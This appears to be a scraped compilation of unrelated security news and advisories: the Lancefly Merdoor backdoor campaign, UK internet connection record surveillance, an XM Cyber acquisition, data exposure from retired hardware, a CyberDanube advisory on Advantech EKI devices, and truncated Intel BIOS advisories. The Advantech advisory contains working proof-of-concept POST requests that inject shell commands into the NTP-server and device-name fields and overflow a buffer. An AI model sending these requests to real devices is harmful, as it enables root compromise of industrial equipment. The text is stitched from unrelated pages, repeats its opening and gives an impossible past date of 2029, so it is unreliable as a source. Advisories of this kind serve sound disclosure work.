Government, aviation, education, and telecom sectors located in South and Southeast Asia have come under the radar of a new hacking group as part of a highly-targeted campaign that commenced in mid-2022 and continued into the first quarter of 2023.
Symantec, by Broadcom Software, is tracking the activity under its insect-themed moniker Lancefly, with the attacks making use of a "powerful"

Government, aviation, education, and telecom sectors located in South and Southeast Asia have come under the radar of a new hacking group as part of a highly-targeted campaign that commenced in mid-2022 and continued into the first quarter of 2023.

Symantec, by Broadcom Software, is tracking the activity under its insect-themed moniker **Lancefly**, with the attacks making use of a "powerful" backdoor called Merdoor.

Evidence gathered so far points to the custom implant being utilized as far back as 2018. The ultimate goal of the campaign, based on the tools and the victimology pattern, is assessed to be intelligence gathering.

"The backdoor is used very selectively, appearing on just a handful of networks and a small number of machines over the years, with its use appearing to be highly targeted," Symantec said in an analysis shared with The Hacker News.

"The attackers in this campaign also have access to an updated version of the ZXShell rootkit."

While the exact initial intrusion vector used is currently not clear, it's suspected to have involved the use of phishing lures, SSH brute-forcing, or the exploitation of internet-exposed servers.

The attack chains ultimately lead to the deployment of ZXShell and Merdoor, a fully-featured malware that can communicate with an actor-controlled server for further commands and log keystrokes.

ZXShell, first documented by Cisco in October 2014, is a rootkit that comes with various features to harvest sensitive data from infected hosts. The use of ZXShell has been linked to various Chinese actors like APT17 (Aurora Panda) and APT27 (aka Budworm or Emissary Panda) in the past.

"The source code of this rootkit is publicly available so it may be used by multiple different groups," Symantec said. "The new version of the rootkit used by Lancefly appears to be smaller in size, while it also has additional functions and targets additional antivirus software to disable."

Another Chinese link comes from the fact that the ZXShell rootkit is signed by the certificate "Wemade Entertainment Co. Ltd," which was previously reported by Mandiant in August 2029 to be associated with APT41 (aka Winnti).

UPCOMING WEBINAR

Learn to Stop Ransomware with Real-Time Protection

Join our webinar and learn how to stop ransomware attacks in their tracks with real-time MFA and service account protection.

Save My Seat!

Lancefly's intrusions have also been identified as employing PlugX and its successor ShadowPad, the latter of which is a modular malware platform privately shared among multiple Chinese state-sponsored actors since 2015.

That said, it's also known that certificate and tool sharing is prevalent among Chinese state-sponsored groups, making attribution to a specific known attack crew difficult.

"While the Merdoor backdoor appears to have been in existence for several years, it appears to only have been used in a small number of attacks in that time period," Symantec noted. "This prudent use of the tool may indicate a desire by Lancefly to keep its activity under the radar."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Researchers Uncover Powerful Backdoor and Custom Implant in Year-Long Cyber Campaign

A government effort to collect people’s internet records is moving beyond its test phase, but many details remain hidden from public view.

The UK government is quietly expanding and developing a controversial surveillance technology that could be capable of logging and storing the web histories of millions of people.

Official reports and spending documents show that in the past year, UK police have deemed the testing of a system that can collect people’s “internet connection records” a success, and have started work to potentially introduce the system nationally. If implemented, it could hand law enforcement a powerful surveillance tool.

Critics say the system is highly intrusive, and that officials have a history of not properly protecting people’s data. Much of the technology and its operation is shrouded in secrecy, with bodies refusing to answer questions about the systems.

At the end of 2016, the UK government passed the Investigatory Powers Act, which introduced sweeping reforms to the country’s surveillance and hacking powers. The law added rules around what law enforcement and intelligence agencies can do and access, but it was widely criticized for its impact on people’s privacy, earning it the name the “Snooper’s Charter.”

Particularly controversial was the creation of so-called internet connection records (ICRs). Under the law, internet providers and phone companies can be ordered—with a senior judge approving the decision—to store people’s browsing histories for 12 months.

An ICR isn’t a list of every page online you visit, but may nonetheless reveal a significant amount of information about your online activities. ICRs can include that you visited Wired.com but not that you read this individual article, for instance. An ICR can also be your IP address, a customer number, the date and time the information was accessed, and the amount of data being transferred. The UK government says an internet connection record could indicate when, for example, the travel app EasyJet is accessed on someone’s phone, but not how the app was used.

“ICRs are highly intrusive and should be protected from over-retention by telecommunications operators and intelligence agencies,” says Nour Haidar, a lawyer and legal officer at UK civil liberties group Privacy International, which has been challenging data collection and handling under the Investigatory Powers Act in court.

Little is known about the development and use of ICRs. When the Investigatory Powers Act was passed, internet companies said it would take them years to build the systems needed to collect and store ICRs. However, some of those pieces may now be falling into place. In February, the Home Office, a government department that oversees security and policing in the UK, published a mandatory review of the operation of the Investigatory Powers Act so far.

The review says the UK’s National Crime Agency (NCA) has tested the “operational, functional, and technical aspects” of ICRs and found a “significant operational benefit” of collecting the records. A small trial that “focused” on websites that provided illegal images of children found 120 people who had been accessing these websites. It found that “only four” of these people had been known to law enforcement based on an “intelligence check.”

WIRED first reported the existence of the ICR trial in March 2021, when there were even fewer details about the test. It is still unclear which telecom companies were involved. The Home Office’s February report is the first official indication that the trial was useful to law enforcement, and could help lay the groundwork for expanding the system across the UK. The Home Office review also states its trial found that “ICRs appear to be currently out of reach for some potentially key investigations,” raising the possibility that the law may be changed in the future.

In May 2022, the Home Office issued a procurement notice revealing that future trials “work is now underway” to create a “national ICR service.” The existence of the notice was initially reported by the public sector technology publication PublicTechnology. The notice says the government had a budget of up to £2 million to create a technical system that allowed law enforcement officials to access ICR data for investigations.

The contract for the technical system was awarded to defense firm Bae Systems in July 2022. In response to a Freedom of Information Act request from WIRED, the Home Office provided some pages of the contract with Bae but refused to give any technical details due to commercial interests. (A spokesperson for Bae said it could not discuss specific contracts for confidentiality and security reasons.)

The Home Office FOIA response also refused to provide details of an internal review into ICRs, citing national security and law enforcement grounds. A Home Office spokesperson said the UK has “one of the most robust and transparent oversight regimes for the protection of personal data and privacy anywhere in the world” and confirmed that trials of ICRs are ongoing.

When asked whether ICRs will be rolled out across the entire UK, the Home Office spokesperson pointed to the FOIA response, which says that providing additional information may jeopardize law enforcement activities. “Information on law enforcement capabilities and targeting is very sensitive, particularly in the field of digital communications, where it is often the case that criminal groups or individuals themselves display a high degree of technical sophistication and awareness,” the FOIA response says. Because of this, it continues, “it is vital that sensitive information on how they might conduct their investigations, or the nature of their technical abilities, are not publicly known.”

The Investigatory Powers Commissioner's Office (IPCO), which oversees intelligence agencies, police, and local authorities, says the collection of ICRs to date has been to support “small-scale trials” and that it is “unable” to provide any figures on the number of data retention notices issued. A separate independent review of the Investigatory Powers Act is due to be published this summer. The National Crime Agency says it is still participating in the ICR trials to evaluate the use of ICRs, and that “data exploitation is essential” to its work.

Despite the potentially limited use of ICRs so far, there has already been one documented failure. In its annual 2020 report, published in January 2022, IPCO highlighted that an unnamed telecoms company that was asked to provide internet connection requests “provided data in excess of that which had been authorized.” The reason? There was a technical error. No extra detail was provided.

WIRED contacted nine of the UK’s internet service providers and telecom companies asking about their abilities to create and store people’s internet connection records. Eight did not respond to the request for comment. TalkTalk, the only one that did, said it will “meet its obligations” under UK law but couldn’t “confirm or deny” whether ICRs existed.

The possible expansion of ICR collection in the UK comes as governments and law enforcement agencies globally try to gain access to increasing amounts of data, particularly as technology advances. Multiple nations are pushing to create encryption backdoors, potentially allowing access to people’s private messages and communications. In the US, a storm is brewing about the FBI’s use of Section 702 of the Foreign Intelligence Surveillance Act (FISA), which allows it to intercept the communications of overseas targets.

Haidar of Privacy International says that creating powers to collect more of people’s data doesn’t result in “more security” for people. “Building the data retention capabilities of companies and a vast range of government agencies doesn't mean that intelligence operations will be enhanced,” Haidar says. “In fact, we argue that it makes us less secure as this data becomes vulnerable to being misused or abused.”

The UK’s Secretive Web Surveillance Program Is Ramping Up

The FBI disables notorious Russia-linked malware, the EU edges toward a facial recognition ban, and security firm Dragos has an intrusion of its own.

While the company says that they did not find any evidence of malicious use of the exposed data, the incident highlights an increasing threat as car manufacturers push into vehicle connectivity and AI-enabled features require the collection of massive quantities of data.

You can check the types of data a particular car manufacturer might be collecting and sharing using this free tool made by automotive privacy company Privacy4Cars.

The United States and its allies have successfully disabled Russian malware that one of the Kremlin’s most sophisticated hacker units had installed on hundreds of computers around the world. After spending years monitoring a malware network called Snake, the FBI developed and deployed a tool called Perseus—named after the Greek hero who slayed monsters—that caused the malware to overwrite and disable itself, the Department of Justice announced on Tuesday.

Snake is developed and operated by Turla, a notorious state-sponsored hacking group linked to Russia’s Federal Security Service, or FSB. Prosecutors said the Russian spies behind Turla have used versions of the Snake malware to steal sensitive documents from scores of governments, journalists, and “other targets of interest to the Russian Federation.” 

According to unsealed court documents, the Snake malware operated as a “peer-to-peer” network linking infected computers around the world, allowing Turla to install malware and exfiltrate data.

Europe this week got one step closer to banning facial recognition in public spaces with a lawmaker agreement to strengthen proposed legislation governing how artificial intelligence technology can be used in the European Union. 

In a vote on Thursday morning, members of the European Parliament agreed to include the ban in the text of the highly anticipated AI Act, the world's first comprehensive legislation governing the technology. "This vote is a milestone in regulating AI, and a clear signal from the Parliament that fundamental rights should be a cornerstone of that," MEP Kim van Sparrentak told Reuters. "AI should serve people, society, and the environment, not the other way around."

A ransomware group attempted to extort money from Dragos, a leading industrial cybersecurity firm, in an unsuccessful campaign targeting company executives, the firm said on Wednesday.

While the hackers gained access to a limited set of customer data, Dragos said it chose not to engage with the group. “The data that was lost and likely to be made public because we chose not to pay the extortion is regrettable,”  the company said. “However, it is our hope that highlighting the methods of the adversary will help others consider additional defenses against these approaches so that they do not become a victim to similar efforts.”

Toyota Leaked Vehicle Data of 2 Million Customers

The deal will enhance the capabilities of both companies and provide customers with a more comprehensive way to protect their digital assets.

Industry analyst reaction was mixed after XM Cyber, a cyber threat intelligence and breach and attack simulation provider, announced its March acquisition of Confluera, which offers autonomous detection and response (ADR) solutions. By combining XM Cyber's expertise in breach and attack simulation with Confluera's cutting-edge ADR capabilities, the newly formed entity hopes to deliver an improved level of protection against cyber threats.

XM Cyber “is really a neo on-premises Breach Attack Simulation (BAS) or SOC tool with some cloudy features, such as attack path management,” says Tom Croll of Lionfish Tech Advisors. “Their core technology seems like it could be redeployed for public cloud without much effort and indeed may have been done successfully. However, I’m not convinced that they are inherently public cloud-native.”

The acquisition signifies the need for consolidation in the cybersecurity landscape, reflecting the growing importance of a multifaceted approach to defense. By combining XM Cyber's expertise in breach and attack simulation with Confluera's ADR capabilities, the newly formed entity could provide customers with a more comprehensive view of their security posture, enabling them to detect and respond to threats more effectively and efficiently.

As businesses continue to face an increasingly complex and dynamic threat environment, the need for adaptive and integrated cybersecurity solutions becomes ever more critical.

At the time the acquisition was announced, XM Cyber and Confluera executives said the advantages of the combined offering lay in the ability to provide organizations with a more holistic view of their cybersecurity posture. Confluera's ADR technology gives XM Cyber customers access to real-time threat intelligence and incident response capabilities, enabling them to more effectively prioritize and address vulnerabilities in their security infrastructure, the executives said.

Croll was cautious about XM Cyber and Confluera’s joined-up capabilities.

“The addition of Confluera gives XM Cyber a truly cloud native capability for runtime monitoring, public cloud attack path management, and cloud detection and response - they're usually CXDR \[cloud extended detection and response\],” Croll says.

However, elements were missing in the combination to really be considered “a fully-functioning CNAPP” platform, such as software composition analysis, DevSecOps integration, and extensive CIEM features, he adds.

The acquisition signals a broader trend in the cybersecurity sector, as companies look to consolidate and strengthen their offerings to meet the evolving needs of their customers. As businesses around the world grapple with the challenges of digital transformation and the growing threat of cyberattacks, more acquisitions and partnerships among smaller providers like these will be more likely.

An Analyst View of XM Cyber’s Acquisition of Confluera

Retired hardware and forgotten cloud virtual machines are a trove of insecure confidential data. Here's how to ameliorate that weakness.

The stories are both infamous and legendary. Surplus computing equipment purchased at auction contains thousands of files with private information, including employee health records, banking information, and other data covered by a multitude of state and local privacy and data laws. Long-forgotten virtual machines (VMs) with confidential data are compromised — and no one knows. Enterprise-class routers with topology data about corporate networks are sold on eBay. With so much confidential data made available to the public on a daily basis, what else are companies exposing to potential attackers?

The fact is a lot of data gets exposed regularly. Last month, for example, cybersecurity vendor ESET reported that 56% of decommissioned routers sold on the secondary market contained sensitive corporate material. This included such configuration data as router-to-router authentication keys, IPsec and VPN credentials and/or hashed passwords, credentials for connections to third-party networks, and connection details for some specific applications.

Cloud-based vulnerabilities that result in data leaks are usually the result of misconfigurations, says Greg Hatcher, a former instructor at the National Security Agency and now CEO and co-founder of White Knight Labs, a cybersecurity consultancy that specializes in offensive cyber operations. Sometimes the data is put at risk deliberately but naively, he notes, such as proprietary code finding its way into ChatGPT in the recent Samsung breach.

Confidential data, such as credentials and corporate secrets, are often stored in GitHub and other software repositories, Hatcher says. To search for multifactor authentication or bypasses for valid credentials, attackers can use MFASweep, a PowerShell script that attempts to log into various Microsoft services using a provided set of credentials that attempts to identify if MFA is enabled; Evilginx, a man-in-the-middle attack framework used for phishing login credentials along with session cookies; and other tools. These tools can find access vulnerabilities into a variety of systems and applications, bypassing existing security configurations.

Having both a hardware and software asset inventory is essential, Hatcher says. The hardware inventory should include all devices because the security team needs to know exactly what hardware is on the network for maintenance and compliance reasons. Security teams can use a software asset inventory to protect their cloud environments, since they cannot access most cloud-based hardware. (The exception is a private cloud with company-owned hardware in the service provider's data center, which would fall under the hardware asset inventory as well.)

Even when applications are deleted from retired hard disks, the unattend.xml file in the Windows operating system on the disk still holds confidential data that can lead to breaches, Hatcher says.

"If I get my hands on that and that local admin password is reused throughout the enterprise environment, I now can get an initial foothold," he explains. "I already can move laterally throughout the environment."

**Sensitive Data Might Not Stay Hidden**

Short of physically destroying disks, the next best option is overwriting the entire disk — but that option can sometimes be overcome as well.

Oren Koren, co-founder and chief product officer of Tel Aviv-based Veriti.ai, says service accounts are an often-ignored source of data that attackers can exploit, both on production servers and when databases on retired servers are left exposed. Compromised mail transfer agents, for example, can act as a man-in-the-middle attack, decrypting simple mail transfer protocol (SMTP) data as it is being sent from production servers.

Similarly, other service accounts could be compromised if the attacker is able to determine the account's primary function and find which security components are turned off to meet that goal. An example would be turning off data analysis when super-low latency is required.

Just as service accounts can be compromised when left unattended, so can orphaned VMs. Hatcher says that in popular cloud environments, VMs are often not decommissioned.

"As a red teamer and a penetration tester, we love these things because if we get access to that, we can actually create persistence within the cloud environment by popping in \[and\] popping a beacon on one of those boxes that can talk back to our \[command-and-control\] server," he says. "Then we can kind of hold onto that access indefinitely."

One file type that often gets short shrift is unstructured data. While rules are generally in place for structured data — online forms, network logs, Web server logs, or other quantitative data from relational databases — the unstructured data can be problematic, says Mark Shainman, senior director of governance products at Securiti.ai. This is data from nonrelational databases, data lakes, email, call logs, Web logs, audio and video communications, streaming environments, and multiple generic data formats often used for spreadsheets, documents, and graphics.

"Once you understand where your sensitive data exists, you can put in place specific policies that protect that data," says Shainman.

**Access Policies Can Remediate Vulnerabilities**

The thought process behind sharing data often identifies potential vulnerabilities.

Says Shainman: "If I'm sharing data with a third party, do I put specific encryption or masking policies in place, so when that data is pushed downstream, they have the ability to leverage that data, but that sensitive data that exists within that environment is not exposed?"

Access intelligence is a group of policies that allows specific individuals to access data that exists within a platform. These policies control the ability to view and process data at the permission level of the document, rather than on a cell basis on a spreadsheet, for example. The approach bolsters third-party risk management (TPRM) by allowing partners to access data approved for their consumption; data outside that permission, even if it is accessed, cannot be viewed or processed.

Documents such as NIST's Special Publication 800-80 Guidelines for Media Sanitation and the Enterprise Data Management (EDM) Council's security frameworks can help security pros define controls for identifying and remediating vulnerabilities related to decommissioning hardware and protecting data.

Making Sure Lost Data Stays Lost

Advantech EKI-1524-CE series, EKI-1522 series, and EKI-1521 series suffer from command injection and buffer overflow vulnerabilities.

CyberDanube Security Research 20230511-0  
-------------------------------------------------------------------------------  
                title| Multiple Vulnerabilities  
              product| EKI-1524-CE series, EKI-1522 series, EKI-1521 series  
   vulnerable version| 1.21  
        fixed version| 1.24  
           CVE number| CVE-2023-2573, CVE-2023-2574, CVE-2023-2575  
               impact| High  
             homepage| https://advantech.com  
                found| 2023-03-06  
                   by| S. Dietz, T. Weber (Office Vienna)  
                     | CyberDanube Security Research  
                     | Vienna | St. Pölten  
                     |  
                     | https://www.cyberdanube.com  
-------------------------------------------------------------------------------

Vendor description  
-------------------------------------------------------------------------------  
"Advantech’s corporate vision is to enable an intelligent planet. The company  
is a global leader in the fields of IoT intelligent systems and embedded  
platforms. To embrace the trends of IoT, big data, and artificial intelligence,  
Advantech promotes IoT hardware and software solutions with the Edge  
Intelligence WISE-PaaS core to assist business partners and clients in  
connecting their industrial chains. Advantech is also working with business  
partners to co-create business ecosystems that accelerate the goal of  
industrial intelligence."

Source: https://www.advantech.com/en/about

Vulnerable versions  
-------------------------------------------------------------------------------  
EKI-1524-CE series / 1.21  
EKI-1522-CE series / 1.21  
EKI-1521-CE series / 1.21

Vulnerability overview  
-------------------------------------------------------------------------------  
1) Authenticated Command Injection (CVE-2023-2573, CVE-2023-2574)  
The web server of the device is prone to two authenticated command injections.  
These allow an attacker to gain full access to the underlying operating system  
of the device. This device class can be attached to legacy systems via RS-232,  
RS-422 or RS-485. Such peripheral systems can be affected by attacks to the  
device from malicious actors.

2) Buffer Overflow (CVE-2023-2575)  
The web server is prone to a buffer overflow, triggered due to missing input  
lenght validation in the NTP input field. According to the vendor, the NTP  
server string is expected to be 64 bytes long, which is not correctly checked.

Proof of Concept  
-------------------------------------------------------------------------------  
1) Authenticated Command Injection  
The web server is prone to two authenticated command injections via POST  
parameters. The following proof-of-concepts show how to inject commands to the  
system which gets executed with root permissions in the background:

1.1) Blind Authenticated Command Injection in NTP Server Name (CVE-2023-2573)  
The following POST request executes the command “;ping 10.0.0.1” on the system:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.100  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 541  
Origin: http://172.16.0.100  
Connection: close  
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=;ping+10.0.0.1;&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

===============================================================================  
It is also possible to execute this command without any interceptor proxy by  
enclose it with ";", which results in the string “;ping 10.0.0.1;”.

1.2) Blind Authenticated Command Injection in Device Name (CVE-2023-2574)  
The device name can also be abused for command injection. It is only executed  
on reboot, but this can also be done via the device’s web-interface. A POST  
request which injects the command “;ls /etc;” can be looks like the following:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.100  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 541  
Origin: http://172.16.0.100  
Connection: close  
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=;ls+/etc;&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

===============================================================================  
Such command can also be injected by setting the device name to “;ls /etc;”.

2) Buffer Overflow (CVE-2023-2575)  
The following POST request can be used to trigger a buffer overflow  
vulnerability in the web server:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.97  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 823  
Origin: http://172.16.0.97  
Connection: close  
Referer: http://172.16.0.97/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=7&min_name=2&sec_name=52&tz=UTC12%3A0&ntp_name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80  
===============================================================================

The serial port of the device provides error messages, which already indicate  
that the stack has been corrupted:  
/ # *** Error in `./index.cgi': free(): invalid next size (normal): 0x00069828 ***  
*** Error in `./index.cgi': malloc(): memory corruption: 0x00069898 ***

Furthermore, the forked child processes seem to remain in the process list as  
zombies - three buffer overflows were triggered in this case:  
/ # ps  
PID   USER     COMMAND  
[...]  
  935 root     ./index.cgi func=setsys  
  959 root     ./index.cgi func=setsys  
  983 root     ./index.cgi func=setsys  
[...]

The vulnerabilities were manually verified on an emulated device by using the  
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution  
-------------------------------------------------------------------------------  
Update the product to the latest available firmware version.

Workaround  
-------------------------------------------------------------------------------  
None

Recommendation  
-------------------------------------------------------------------------------  
CyberDanube recommends Advantech customers to upgrade the firmware to the  
latest version available.

Contact Timeline  
-------------------------------------------------------------------------------  
2023-03-08: Contacting Advantech via Service Request form; No answer.  
2023-03-13: Contacting Advantech via Czech PSIRT (security@advantech.cz);  
            Vendor confirmed vulnerabilities and will provide a fixed firmware  
            until 2023-05-13. Asked vendor for affected models; Vendo  
            responded that EKI-1524/1522/1521 series are affected.  
2023-03-20: Asked for status update.  
2023-03-21: Vendor responded that the firmware is currently under testing.  
2023-03-31: Vendor statet, that firmware is done and sent it via email; Found  
            additional issues and responded to vendor.  
2023-04-01: Vendor asked multiple question.  
2023-04-02: Responded to vendor, answered questions and asked for a call;  
            Vendor agreed.  
2023-04-04: Set date for a call to 2023-04-10.  
2023-04-10: Clarified further issues.  
2023-04-23: Vendor sent notification that a beta release of the firmware is  
            available.  
2023-05-02: Vendor sent notification that a new firmware release is online.  
2023-05-04: Asked vendor if the advisory can be published earlier than agreed.  
2023-05-08: Asked for status update; Vendor confirmed that all vulnerabilities  
            have been fixed.  
2023-05-11: Coordinated release of security advisory.

Web: https://www.cyberdanube.com  
Twitter: https://twitter.com/cyberdanube  
Mail: research at cyberdanube dot com

EOF S. Dietz, T. Weber / @2023

Advantech EKI-15XX Series Command Injection / Buffer Overflow

Improper access control in the Intel(R) Server Board S2600WTT belonging to the Intel(R) Server Board S2600WT Family with the BIOS version 0016 may allow a privileged user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**SmmRuntime Escalation of Privilege**

Intel ID: 

INTEL-SA-00056

Product family: 

Intel® Server Board S1200/1400/1600/2400/2600/4600 series

Impact of vulnerability: 

Elevation of Privilege

Severity rating: 

Important

Original release: 

Aug 08, 2016

Last revised: 

Sep 30, 2016

**Summary:** 

Intel is releasing mitigations for a privilege escalation issue. This issue affects the UEFI BIOS of select Intel Products. The issue identified is a method that enables malicious code to gain access to System Management Mode (SMM).

**Description:** 

A malicious attacker with local administrative access can leverage the vulnerable function to gain access to System Management Mode (SMM) and take full control of the platform. Intel products that are listed below should apply the update.

Other vendors’ products which use the common BIOS function SmmRuntime may be impacted.  To find out whether a product you have may be vulnerable to this issue, please contact your system supplier.

  
The table below provides the list of Intel products impacted by the issue as well as the versions and the locations of the BIOS that contains the fix. If the customer system has BIOS version lower than one listed in the table customer is recommended to upgrade the BIOS to the version listed below, or later.

How to identify Intel® Server Boards model and BIOS version?

To identify the server board model and the BIOS version customer can use one of the methods below.

1.  For server systems running Microsoft Windows\* operating systems, download and run the Intel® System Support Utility and view

Detailed View – Computer – BIOS Version/Date

Detailed View – Computer – System Model

The utility will generate an output file with computer system information. The BIOS version and the board model should look like this:

BIOS Version/Date            Intel Corporation SE5C610.86B.01.01.0008.021120151325 , 02/11/2015 12:00 AM

System Model                    S2600WT2      

   2.  For server systems running Linux operating system customers should execute the commands below to obtain the BIOS version and the Board model respectively:

dmidecode -t 0 | grep Version | awk -F : '{ print $2 }' | sed s/\\ //g

dmidecode -t 2 | grep Product | awk -F : '{ print $2 }' | sed s/\\ //g

The first command will return the line of text similar to this:

SE5C610.86B.01.01.0016.033120161139

The second command will return the line of text similar to this:

S2600WTT

In this example the commands were executed on the Intel® Server Board S2600WTT belonging to the Intel® Server Board S2600WT Family with the BIOS version 0016.

Product Name

Recommended BIOS version (or later)

Intel® Server Board S1200RP Family

0006

Intel® Server Board S1400FP Family

0005

Intel® Server Board S1400SP Family

0005

Intel® Server Board S1600JP Family

0005

Intel® Server Board S2400BB Family

0005

Intel® Server Board S2400EP Family

0005

Intel® Server Board S2400SC Family

0005

Intel® Server Board S2600CO Family

0005

Intel® Server Board S2600CP Family

0005

Intel® Server Board S2600GL Family

Intel® Server Board S2600GZ Family

0005

Intel® Server Board S2600IP Family

0005

Intel® Workstation Board W2600CR Family

0005

Intel® Server Board S2600JF Family

0005

Intel® Server Board S2600WP Family

0005

Intel® Server Board S4600LH Family

Intel® Server Board S4600LT Family

0005

Intel® Server Board S2600CW Family

0018

Intel® Server Board S2600KP Family

0018

Intel® Server Board S2600TP Family

0018

Intel® Server Board S2600WT Family

0018

Intel® Server Board S1200BT

0044

**Recommendations:** 

Intel highly recommends applying the mitigations. For Intel branded products where a mitigation is still pending, we recommend following good security practices including running with least privilege and keeping security software and operating systems up to date.

**Acknowledgements:** 

N/A

Revision

Date

Description

1.1

16-August-2016

Removed Intel® Compute Module MFS2600KI due to EOL

1.2

23-August-2016

Removed EOLd boards and updated availability date

1.3

29-September-2016

Updated remaining boards with BIOS download URL

1.4

30-September-2016

Corrected Version Numbers

1.5

04-September-2018

Added S1200BT Family mitigations

1.6

09-May-2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-30768: INTEL-SA-00056

Heap-based overflow in Intel(R) SoC Watch based software before version 2021.1 may allow a privileged user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® SoC Watch 2021 Advisory**

**Summary: **

